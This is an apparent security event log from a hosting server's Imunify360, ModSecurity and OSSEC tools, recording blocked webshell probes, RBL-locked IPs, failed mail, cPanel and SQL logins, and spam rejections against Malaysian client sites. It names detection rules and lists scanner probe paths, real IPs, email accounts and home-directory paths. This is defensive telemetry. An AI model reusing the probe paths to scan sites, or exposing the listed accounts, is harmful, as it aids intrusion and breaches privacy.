name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.246.198
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-26.144.124.246.198||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/img/about.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.43
country_id: 2300660
description:
Jan 28 05:29:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.51.29.53
country_id: 1269750
description:
Jan 28 05:29:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.51.29.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.43
country_id: 2300660
description:
Jan 28 05:30:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.101.88.202
country_id: 3996063
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/wing/15/511/1590425 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.183.186.237
country_id: 2510769
description:
Jan 28 05:30:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.183.186.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.89.69.123
country_id: 2328926
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/league/flysystem/src/Adapter/Local.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 28 05:31:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.201.199.153
country_id: 1880251
description:
Jan 28 05:31:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.201.199.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jan 28 05:32:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.26.31.62
country_id: 1814991
description:
Jan 28 05:34:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.26.31.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.21.208.55
country_id: 6252001
description:
Jan 28 05:34:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 216.21.208.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.6.143.98
country_id: 1605651
description:
Jan 28 05:34:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.6.143.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jan 28 05:35:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 37.19.223.218
country_id: 2782113
domain: www.modern.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/contact-us/||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.19.223.218
country_id: 2782113
domain: www.modern.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-37.37.19.223.218||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.42
country_id: 3175395
description:
Jan 28 05:40:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.179.228.60
country_id: 798544
description:
Jan 28 05:40:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.179.228.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.42
country_id: 3175395
description:
Jan 28 05:41:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.15.113.142
country_id: 1605651
description:
2026-01-28 05:41:39 H=([209.15.113.142]) [209.15.113.142]:53994 F=<voicemail@serverdata.net> rejected RCPT <jle@ajplantations.com.my>: SPF: 209.15.113.142 is not allowed to send mail from serverdata.net


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.49.249.39
country_id: 3175395
description:
Jan 28 05:44:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.49.249.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.213.194.141
country_id: 1269750
description:
Jan 28 05:45:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.213.194.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.213.194.141
country_id: 1269750
description:
Jan 28 05:46:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.213.194.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 28 05:48:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-28 05:48:56 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:42682: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.43.27
country_id: 953987
description:
Jan 28 05:49:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.43.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.140.231
country_id: 690791
description:
Jan 28 05:50:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.140.231 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.60.59.50
country_id: 6254930
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/high/18/43/1830260 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.109.97
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=76741515043684 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.251.251.108
country_id: 1819730
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/2343902730.jpg&size=262*388 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.204.8
country_id: 2413451
description:
Jan 28 05:59:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.204.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.94
country_id: 3469034
description:
Jan 28 06:00:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.7.22.183
country_id: 1605651
description:
Jan 28 06:00:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.7.22.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.94.178.111
country_id: 6252001
description:
Jan 28 06:00:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.94.178.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.94
country_id: 3469034
description:
Jan 28 06:01:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.73.188
country_id: 6252001
description:
Jan 28 06:01:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.73.188 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.181
country_id: 3469034
description:
Jan 28 06:02:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.213.248.189
country_id: 1269750
description:
Jan 28 06:03:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.213.248.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.222.117.178
country_id: 1269750
description:
Jan 28 06:03:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.222.117.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.188
country_id: 690791
description:
2026-01-28 06:07:48 H=([77.83.39.188]) [77.83.39.188]:30908 F=<info@bimaco-grupa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.188
country_id: 690791
description:
2026-01-28 06:09:00 H=([77.83.39.188]) [77.83.39.188]:34685 F=<info@bimaco-grupa.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 77.83.39.188 is not allowed to send mail from bimaco-grupa.com


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 139.162.70.53
country_id: 1861060
description:
2026-01-28  6:13:06 851857 [Warning] Aborted connection 851857 to db: 'unconnected' user: 'unauthenticated' host: '139.162.70.53' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.162.102.126
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/test/fixtures/config.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 170.0.34.95
country_id: 3469034
description:
2026-01-28  6:19:14 852072 [Warning] Aborted connection 852072 to db: 'unconnected' user: 'unauthenticated' host: '170.0.34.95' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 170.0.34.95
country_id: 3469034
description:
2026-01-28  6:19:23 852096 [Warning] Aborted connection 852096 to db: 'unconnected' user: 'unauthenticated' host: '170.0.34.95' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.15.113.142
country_id: 1605651
description:
2026-01-28 06:20:06 H=([209.15.113.142]) [209.15.113.142]:55236 F=<voicemail@serverdata.net> rejected RCPT <info@pftfood.com>: SPF: 209.15.113.142 is not allowed to send mail from serverdata.net


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/druma_photos/awards.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.7
country_id: 690791
description:
2026-01-28 06:21:44 H=([45.144.212.7]) [45.144.212.7]:53040 F=<nirob@zasafashioncreation1.com> rejected RCPT <sales@wcc.com.my>: Rejected relay attempt: '45.144.212.7' From: 'nirob@zasafashioncreation1.com' To: 'sales@wcc.com.my'


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.0.18.139
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/vlucas/phpdotenv/src/Exception/ValidationException.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/home/druma.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.105.61
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-22.50.117.105.61||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.72.217
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-23.142.111.72.217||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 170.0.34.95
country_id: 3469034
description:
2026-01-28  6:24:27 852365 [Warning] Aborted connection 852365 to db: 'unconnected' user: 'unauthenticated' host: '170.0.34.95' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.54.33.224
country_id: 2750405
description:
Jan 28 06:26:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.54.33.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.54.33.224
country_id: 2750405
description:
2026-01-28 06:27:01 dovecot_login authenticator failed for H=(ADMIN) [84.54.33.224]:32964: 535 Incorrect authentication data (set_id=hvoon@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.90
country_id: 953987
description:
Jan 28 06:27:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 217.182.77.22
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/photos/img/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.217.223.215
country_id: 3996063
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/case/56/328062 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:42:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.222
country_id: 6252001
description:
Jan 28 06:42:45 sv3 pure-ftpd[3336902]: (?@198.235.24.222) [INFO] New connection from 198.235.24.222


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.54.205.44
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/yaml/phpunit.xml.dist HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:43:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:45:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/tmpfiles.d/pcp-conf.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:48:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:49:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 46.246.92.216
country_id: 2661886
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3904.40 Safari/537.36||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:51:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.67.148.188
country_id: 3996063
description:
2026-01-28 06:52:22 dovecot_plain authenticator failed for H=([127.0.1.1]) [69.67.148.188]:8908: 535 Incorrect authentication data (set_id=rnd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.94.216.12
country_id: 6252001
description:
[2026-01-28 06:53:47 +0800] info [webmaild] 138.94.216.12 - kelveen@tst-ma.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.15.247.107
country_id: 2510769
description:
[2026-01-28 06:53:48 +0800] info [webmaild] 45.15.247.107 - tst-ma@tst-ma.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.9.7
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/clients.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:53:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.29.74.163
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-54.64.29.74.163||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:54:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:56:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.239.45.10
country_id: 1269750
description:
Jan 28 06:57:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.239.45.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.242.40
country_id: 1269750
description:
Jan 28 06:58:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.242.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.218
country_id: 1269750
description:
Jan 28 06:58:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.204.8
country_id: 2413451
description:
Jan 28 06:58:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.204.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 28 06:59:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.137.46
country_id: 1269750
description:
Jan 28 06:59:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.137.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.81.104.127
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=435053 HTTP/1.1||RSV:7.67||T:APACHE||


